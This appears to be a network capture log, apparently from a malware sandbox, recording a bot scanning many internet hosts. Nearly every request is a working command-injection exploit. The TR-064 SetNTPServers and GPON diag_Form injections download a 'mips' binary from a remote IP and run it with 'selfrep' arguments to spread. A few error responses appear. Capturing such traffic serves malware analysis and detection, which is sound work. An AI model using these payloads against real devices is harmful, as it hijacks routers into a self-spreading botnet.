Apr 15, 2024 08:53:37.451962948 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:38.432414055 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.384411097 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1078	192.168.2.13	51602	111.207.123.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.470115900 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:39.200387955 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:41.472402096 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:45.568373919 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:53.760381937 CEST	690	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1079	192.168.2.13	41666	191.255.165.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.481221914 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1080	192.168.2.13	50010	109.227.23.35	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.499236107 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.13	33550	34.43.218.102	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.505347013 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.13	55718	75.166.15.70	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.513365984 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.13	45450	221.147.219.158	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.722884893 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.13	34624	220.117.6.143	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.727065086 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.13	58502	118.63.39.155	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.736352921 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.13	32936	109.156.212.192	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.744390011 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.13	41904	183.98.165.249	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.745675087 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.13	53552	118.56.61.19	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.747523069 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.13	32910	86.161.230.198	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.755100012 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:38.066025972 CEST	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.13	44980	191.61.137.161	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.775015116 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:38.752485037 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:40.704407930 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.13	41730	191.255.165.175	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.810386896 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.13	34386	38.63.123.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.851243019 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.752500057 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.915153980 CEST	525	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 15 Apr 2024 06:53:41 GMT Connection: close Content-Length: 334 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 20 2d 20 49 6e 76 61 6c 69 64 20 48 6f 73 74 6e 61 6d 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 68 6f 73 74 6e 61 6d 65 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request - Invalid Hostname</h2><hr><p>HTTP Error 400. The request hostname is invalid.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.13	36692	154.36.176.48	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:37.851263046 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:38.752500057 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
